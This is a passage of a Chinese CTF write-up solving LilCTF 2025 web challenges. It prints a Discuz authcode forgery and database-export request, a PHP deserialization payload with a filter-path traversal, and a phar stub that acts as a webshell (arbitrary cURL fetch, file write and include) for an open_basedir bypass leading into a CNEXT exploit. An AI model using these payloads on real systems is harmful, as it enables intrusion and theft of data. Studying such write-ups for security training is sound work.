class="string">&#x27;N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb&#x27;</span>);</span><br></pre></td></tr></table></figure><p>整一个 exp</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$uc_key</span>=<span class="string">&quot;N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable">$a</span> = <span class="string">&#x27;time=&#x27;</span>.<span class="title function_ invoke__">time</span>().<span class="string">&#x27;&amp;method=export&amp;tableid=1$sqlpath=backup_2025&amp;backupfilename=tid_1&#x27;</span>;</span><br><span class="line"><span class="comment">//$a = &#x27;time=&#x27;.time().&#x27;&amp;method=list&#x27;;</span></span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$code</span>=<span class="title function_ invoke__">urlencode</span>(<span class="title function_ invoke__">_authcode</span>(<span class="variable">$a</span>, <span class="string">&#x27;ENCODE&#x27;</span>, <span class="variable">$uc_key</span>));</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">_authcode</span>(<span class="params"><span class="variable">$string</span>, <span class="variable">$operation</span> = <span class="string">&#x27;DECODE&#x27;</span>, <span class="variable">$key</span> = <span class="string">&#x27;&#x27;</span>, <span class="variable">$expiry</span> = <span class="number">0</span></span>) </span>&#123;    </span><br><span class="line">    <span class="variable">$ckey_length</span> = <span class="number">4</span>;     </span><br><span class="line">    <span class="variable">$key</span> = <span class="title function_ invoke__">md5</span>(<span class="variable">$key</span> ? <span class="variable">$key</span> : UC_KEY);    </span><br><span class="line">    <span class="variable">$keya</span> = <span class="title function_ invoke__">md5</span>(<span class="title function_ invoke__">substr</span>(<span class="variable">$key</span>, <span class="number">0</span>, <span class="number">16</span>));   </span><br><span class="line">    <span class="variable">$keyb</span> = <span class="title function_ invoke__">md5</span>(<span class="title function_ invoke__">substr</span>(<span class="variable">$key</span>, <span class="number">16</span>, <span class="number">16</span>));    </span><br><span class="line">    <span class="variable">$keyc</span> = <span class="variable">$ckey_length</span> ? (<span class="variable">$operation</span> == <span class="string">&#x27;DECODE&#x27;</span> ? <span class="title function_ invoke__">substr</span>(<span class="variable">$string</span>, <span class="number">0</span>, <span class="variable">$ckey_length</span>): <span class="title function_ invoke__">substr</span>(<span class="title function_ invoke__">md5</span>(<span class="title function_ invoke__">microtime</span>()), -<span class="variable">$ckey_length</span>)) : <span class="string">&#x27;&#x27;</span>;     </span><br><span class="line">    <span class="variable">$cryptkey</span> = <span class="variable">$keya</span>.<span class="title function_ invoke__">md5</span>(<span class="variable">$keya</span>.<span class="variable">$keyc</span>);    </span><br><span class="line">    <span class="variable">$key_length</span> = <span class="title function_ invoke__">strlen</span>(<span class="variable">$cryptkey</span>);     </span><br><span class="line">    <span class="variable">$string</span> = <span class="variable">$operation</span> == <span class="string">&#x27;DECODE&#x27;</span> ? <span class="title function_ invoke__">base64_decode</span>(<span class="title function_ invoke__">substr</span>(<span class="variable">$string</span>, <span class="variable">$ckey_length</span>)) : <span class="title function_ invoke__">sprintf</span>(<span class="string">&#x27;%010d&#x27;</span>, <span class="variable">$expiry</span> ? <span class="variable">$expiry</span> + <span class="title function_ invoke__">time</span>() : <span class="number">0</span>).<span class="title function_ invoke__">substr</span>(<span class="title function_ invoke__">md5</span>(<span class="variable">$string</span>.<span class="variable">$keyb</span>), <span class="number">0</span>, <span class="number">16</span>).<span class="variable">$string</span>;    </span><br><span class="line">    <span class="variable">$string_length</span> = <span class="title function_ invoke__">strlen</span>(<span class="variable">$string</span>);     </span><br><span class="line">    <span class="variable">$result</span> = <span class="string">&#x27;&#x27;</span>;    </span><br><span class="line">    <span class="variable">$box</span> = <span class="title function_ invoke__">range</span>(<span class="number">0</span>, <span class="number">255</span>);     </span><br><span class="line">    <span class="variable">$rndkey</span> = <span class="keyword">array</span>();    </span><br><span class="line">    <span class="keyword">for</span>(<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt;= <span class="number">255</span>; <span class="variable">$i</span>++) &#123;        </span><br><span class="line">        <span class="variable">$rndkey</span>[<span class="variable">$i</span>] = <span class="title function_ invoke__">ord</span>(<span class="variable">$cryptkey</span>[<span class="variable">$i</span> % <span class="variable">$key_length</span>]);    </span><br><span class="line">    &#125;     </span><br><span class="line">    <span class="keyword">for</span>(<span class="variable">$j</span> = <span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; <span class="number">256</span>; <span class="variable">$i</span>++) &#123;     </span><br><span class="line">        <span class="variable">$j</span> = (<span class="variable">$j</span> + <span class="variable">$box</span>[<span class="variable">$i</span>] + <span class="variable">$rndkey</span>[<span class="variable">$i</span>]) % <span class="number">256</span>; </span><br><span class="line">        <span class="variable">$tmp</span> = <span class="variable">$box</span>[<span class="variable">$i</span>];      </span><br><span class="line">        <span class="variable">$box</span>[<span class="variable">$i</span>] = <span class="variable">$box</span>[<span class="variable">$j</span>];  </span><br><span class="line">        <span class="variable">$box</span>[<span class="variable">$j</span>] = <span class="variable">$tmp</span>;    </span><br><span class="line">    &#125;     </span><br><span class="line">    <span class="keyword">for</span>(<span class="variable">$a</span> = <span class="variable">$j</span> = <span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; <span class="variable">$string_length</span>; <span class="variable">$i</span>++) &#123;     </span><br><span class="line">        <span class="variable">$a</span> = (<span class="variable">$a</span> + <span class="number">1</span>) % <span class="number">256</span>;     </span><br><span class="line">        <span class="variable">$j</span> = (<span class="variable">$j</span> + <span class="variable">$box</span>[<span class="variable">$a</span>]) % <span class="number">256</span>;   </span><br><span class="line">        <span class="variable">$tmp</span> = <span class="variable">$box</span>[<span class="variable">$a</span>];    </span><br><span class="line">        <span class="variable">$box</span>[<span class="variable">$a</span>] = <span class="variable">$box</span>[<span class="variable">$j</span>];    </span><br><span class="line">        <span class="variable">$box</span>[<span class="variable">$j</span>] = <span class="variable">$tmp</span>;      </span><br><span class="line">        <span class="variable">$result</span> .= <span class="title function_ invoke__">chr</span>(<span class="title function_ invoke__">ord</span>(<span class="variable">$string</span>[<span class="variable">$i</span>]) ^ (<span class="variable">$box</span>[(<span class="variable">$box</span>[<span class="variable">$a</span>] + <span class="variable">$box</span>[<span class="variable">$j</span>]) % <span class="number">256</span>]));   </span><br><span class="line">    &#125;   </span><br><span class="line">    <span class="keyword">if</span>(<span class="variable">$operation</span> == <span class="string">&#x27;DECODE&#x27;</span>) &#123;  </span><br><span class="line">        <span class="keyword">if</span>((<span class="title function_ invoke__">substr</span>(<span class="variable">$result</span>, <span class="number">0</span>, <span class="number">10</span>) == <span class="number">0</span> || <span class="title function_ invoke__">substr</span>(<span class="variable">$result</span>, <span class="number">0</span>, <span class="number">10</span>) - <span class="title function_ invoke__">time</span>() &gt; <span class="number">0</span>) &amp;&amp; <span class="title function_ invoke__">substr</span>(<span class="variable">$result</span>, <span class="number">10</span>, <span class="number">16</span>) == <span class="title function_ invoke__">substr</span>(<span class="title function_ invoke__">md5</span>(<span class="title function_ invoke__">substr</span>(<span class="variable">$result</span>, <span class="number">26</span>).<span class="variable">$keyb</span>), <span class="number">0</span>, <span class="number">16</span>)) &#123;     </span><br><span class="line">            <span class="keyword">return</span> <span class="title function_ invoke__">substr</span>(<span class="variable">$result</span>, <span class="number">26</span>);      </span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;          </span><br><span class="line">            <span class="keyword">return</span> <span class="string">&#x27;&#x27;</span>;       </span><br><span class="line">        &#125;    </span><br><span class="line">    &#125; <span class="keyword">else</span> &#123; </span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$keyc</span>.<span class="title function_ invoke__">str_replace</span>(<span class="string">&#x27;=&#x27;</span>, <span class="string">&#x27;&#x27;</span>, <span class="title function_ invoke__">base64_encode</span>(<span class="variable">$result</span>)); </span><br><span class="line">    &#125; </span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>GET数据包，填入<code>code</code>导出数据库操作</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">GET /api/db/dbbak.php?apptype=discuzx&amp;code=80fb%2B20Q3V%2FYQpzvnEf9xgesEZx0RCRojkNvhQMASf0VXsPoDrf1fpbZDAusut%2BNuNbot53kG9V%2FWcB4%2FlX8TJufryMkiNjDR%2F3kr6HggkcGAMNwwwQN4CxKY7UQhty5LFsirhvC9675h8Q72w</span><br><span class="line"> HTTP/1.1</span><br><span class="line">Host: challenge.xinshi.fun:*****</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.9</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Cookie: j2pU_2132_saltkey=cip55Vvg; j2pU_2132_lastvisit=1755332286; j2pU_2132__refer=%252Fhome.php%253Fmod%253Dspacecp%2526ac%253Dcredit%2526showcredit%253D1; j2pU_2132_seccodecSAmPeT04h59=15.9ae6a76ce20e8fa0f9; j2pU_2132_sid=o6B7bZ; j2pU_2132_lastact=1755338785%09uc.php%09; j2pU_2132_auth=a541vV4igyZgMv4jVwlL5WEuXNNJMM3HIeGOWb%2Bzn%2BGvxug5KOyPPxnUzd8NOsPCtaHEKIrejQ3hoDbqm0eA</span><br><span class="line">Cache-Control: max-age=0</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36</span><br></pre></td></tr></table></figure><p>导出了几个 sql 文件发现 <code>tableid</code> 是以表名字典序排序的，所以 <code>pre_a_flag</code> 在最前面，直接传入 tableid&#x3D;1 构造 code</p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/1ad6fa30-9e77-4a20-b596-815ac4fbcb1f.png"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Identify: MTc1NTM0MTMzNCxYMy41LGRpc2N1engsbXVsdGl2b2wsMQ==</span></span><br><span class="line"><span class="comment"># &lt;?php exit();?&gt;</span></span><br><span class="line"><span class="comment"># discuzx Multi-Volume Data Dump Vol.1</span></span><br><span class="line"><span class="comment"># Time: 2025-08-16 10:48:54</span></span><br><span class="line"><span class="comment"># Type: discuzx</span></span><br><span class="line"><span class="comment"># Table Prefix: pre_</span></span><br><span class="line"><span class="comment"># utf8mb4</span></span><br><span class="line"><span class="comment"># discuzx Home: https://www.discuz.vip</span></span><br><span class="line"><span class="comment"># Please visit our website for newest infomation about discuzx</span></span><br><span class="line"><span class="comment"># --------------------------------------------------------</span></span><br><span class="line"></span><br><span class="line">INSERT INTO pre_a_flag <span class="title function_ invoke__">VALUES</span> (<span class="string">&#x27;1&#x27;</span>,<span class="number">0x666c61677b746573745f666c61677d</span>);</span><br><span class="line">INSERT INTO pre_a_flag <span class="title function_ invoke__">VALUES</span> (<span class="string">&#x27;2&#x27;</span>,<span class="number">0x4c494c4354467b486176455f596f555f3130756e645f345f4a4f625f4e30773f5f4841486148417d</span>);</span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/image-20250818000151573.png"></p><h3 id="Your-Uns3r"><a href="#Your-Uns3r" class="headerlink" title="Your Uns3r"></a><strong>Your Uns3r</strong></h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">User</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$username</span>=<span class="number">0</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$value</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Access</span></span>&#123;</span><br><span class="line">    <span class="comment">// 利用 getToken() 的两次序列化与反序列化</span></span><br><span class="line">    <span class="comment">// 让 &#x27;lilctf&#x27; 夹在中间：&#x27;/&#x27; . &#x27;lilctf&#x27; . &#x27;/../flag&#x27; =&gt; /flag</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="variable">$prefix</span> = <span class="string">&#x27;php://filter/convert.base64-encode/resource=/&#x27;</span>;</span><br><span class="line">    <span class="keyword">protected</span> <span class="variable">$suffix</span> = <span class="string">&#x27;/../flag&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$a</span>=<span class="keyword">new</span> <span class="title class_">Access</span>();</span><br><span class="line"><span class="variable">$u</span>=<span class="keyword">new</span> <span class="title class_">User</span>();</span><br><span class="line"><span class="comment">// value 放“序列化后的 Access 字符串”</span></span><br><span class="line"><span class="variable">$u</span>-&gt;value=<span class="title function_ invoke__">serialize</span>(<span class="variable">$a</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// throw new Exception(&quot;nonono!!!&quot;);</span></span><br><span class="line"><span class="comment">// 会使php直接退出，__destruct也不会执行，需要在这之前触发__destruct</span></span><br><span class="line"><span class="comment">// 这里用一个array包含两个index=0的值，第一个是我们的payload，第二个是null</span></span><br><span class="line"><span class="comment">// 反序列化时会先把我们的payload反序列化出来，然后null会覆盖我们的payload，此时会触发__destruct</span></span><br><span class="line"><span class="variable">$payload</span>=<span class="title function_ invoke__">serialize</span>(<span class="keyword">array</span>(<span class="variable">$u</span>,<span class="literal">null</span>));</span><br><span class="line"><span class="variable">$payload</span> = <span class="title function_ invoke__">str_replace</span>(<span class="string">&#x27;i:1&#x27;</span>, <span class="string">&#x27;i:0&#x27;</span>, <span class="variable">$payload</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$payload</span>.<span class="string">&#x27;&lt;br /&gt;&#x27;</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">urlencode</span>(<span class="variable">$payload</span>).<span class="string">&#x27;&lt;br /&gt;&#x27;</span>;</span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/0856ece7-61ca-4d95-b980-f1ae41da333f.png"></p><h3 id="php-jail-is-my-cry"><a href="#php-jail-is-my-cry" class="headerlink" title="php_jail_is_my_cry"></a><strong>php_jail_is_my_cry</strong></h3><p>PHP版本为8.3.0</p><p>发现题目对halt这个字符串进行了检查，那么可能正是要绕过这个字符串来实现某些操作</p><p>果不其然，找到一篇文章：<a href="https://blog.csdn.net/MrWangisgoodboy/article/details/130146658">https://blog.csdn.net/MrWangisgoodboy/article/details/130146658</a></p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/913857e1-4711-41b1-97c6-4941343d6db2.png"></p><p>通过文件包含gzip压缩后的phar文件的反序列化，可以实现运行任意PHP代码</p><p>找到一篇文章有讲解这个问题的：</p><p>原理：<a href="https://mp.weixin.qq.com/s/8Fs4nSTvrSyBW6wlePxbTg">https://mp.weixin.qq.com/s/8Fs4nSTvrSyBW6wlePxbTg</a></p><p>写个 <code>genphar.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$phar</span> = <span class="keyword">new</span> <span class="title class_">Phar</span>(<span class="string">&quot;payload.phar&quot;</span>);</span><br><span class="line"><span class="variable">$phar</span>-&gt;<span class="title function_ invoke__">compressFiles</span>(<span class="title class_">Phar</span>::<span class="variable constant_">GZ</span>);</span><br><span class="line"><span class="variable">$phar</span>-&gt;<span class="title function_ invoke__">startBuffering</span>();</span><br><span class="line"><span class="comment">#$p-&gt;setStub(&quot;&lt;?php \$ch = curl_init(&#x27;file://aa.txt&#x27;);curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);\$data = curl_exec(\$ch);curl_close(\$ch);echo \$data; __HALT_COMPILER();&quot;);</span></span><br><span class="line"><span class="variable">$phar</span>-&gt;<span class="title function_ invoke__">setStub</span>(<span class="string">&#x27;</span></span><br><span class="line"><span class="string">&lt;?php </span></span><br><span class="line"><span class="string">if (isset($_REQUEST[&quot;file&quot;]))&#123;</span></span><br><span class="line"><span class="string">    $a = $_REQUEST[&quot;file&quot;];</span></span><br><span class="line"><span class="string">    echo &quot;File contents: &quot;;</span></span><br><span class="line"><span class="string">    $ch = curl_init($a);</span></span><br><span class="line"><span class="string">    curl_setopt($ch, CURLOPT_PROTOCOLS_STR, &quot;all&quot;);</span></span><br><span class="line"><span class="string">    curl_exec($ch);curl_close($ch);</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">if (isset($_REQUEST[&quot;input&quot;]))&#123;</span></span><br><span class="line"><span class="string">    $data = $_REQUEST[&quot;input&quot;];</span></span><br><span class="line"><span class="string">    $target_file=&quot;/tmp/io&quot;;</span></span><br><span class="line"><span class="string">    file_put_contents($target_file, $data);</span></span><br><span class="line"><span class="string">    #echo $data;</span></span><br><span class="line"><span class="string">    #include $target_file;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">if (isset($_REQUEST[&quot;include&quot;]))&#123;</span></span><br><span class="line"><span class="string">    $b = $_REQUEST[&quot;include&quot;];</span></span><br><span class="line"><span class="string">    echo &quot;include: &quot;;</span></span><br><span class="line"><span class="string">    include $b;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">;__HALT_COMPILER();</span></span><br><span class="line"><span class="string">&#x27;</span>);</span><br><span class="line"><span class="variable">$phar</span>-&gt;<span class="title function_ invoke__">addFromString</span>(<span class="string">&quot;rubbish&quot;</span>, <span class="string">&quot;AAAAAAAAAAA&quot;</span>);</span><br><span class="line"><span class="variable">$phar</span>-&gt;<span class="title function_ invoke__">stopBuffering</span>();</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>用下面的命令生成通过gz绕过</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ php -d phar.readonly=0 genphar.php</span><br><span class="line">$ gzip -c payload.phar &gt; payload.phar.gz</span><br><span class="line"><span class="comment">#docker cp ./payload.phar.gz d3aa352543c1:/tmp</span></span><br></pre></td></tr></table></figure><p>题目有个提示： <code> // I hide a trick to bypass open_basedir, I&#39;m sure you can find it.</code></p><p>猜测利用点可能在附近，大概率就是cURL</p><p>果不其然，我搜索关键词cURL open_basedir 8.3，第一个就是</p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/7df115eb-9c37-4349-92a3-0aa684a89c31.png"></p><p>可以通过file:&#x2F;&#x2F;来读文件，flag果然读不了，&#x2F;etc&#x2F;passwd和&#x2F;proc&#x2F;self&#x2F;maps可以读</p><p>那么接下来应该就是打cnext漏洞了，php 8.3.0应该可以打</p><p><a href="https://jishuzhan.net/article/1955857830778548226">https://jishuzhan.net/article/1955857830778548226</a></p><p>需要将原本exp改掉，应为data:&#x2F;&#x2F;协议在allow_url_include没有开启的情况下是不能使用的，那么就要将resource&#x3D;指向&#x2F;tmp目录下的文件</p><p>同时file_put_content没有被禁用，可以写文件到&#x2F;tmp再用php:&#x2F;&#x2F;filter通过filterchain读文件打cnext</p><p>这里我统一写文件到&#x2F;tmp&#x2F;io，再读取，来实现对resource的内容控制</p><p>url传入 <code>http://challenge.xinshi.fun:*****/?down=payload.phar.gz</code></p><p>找了个比较丑陋的 exp，但是能跑</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span 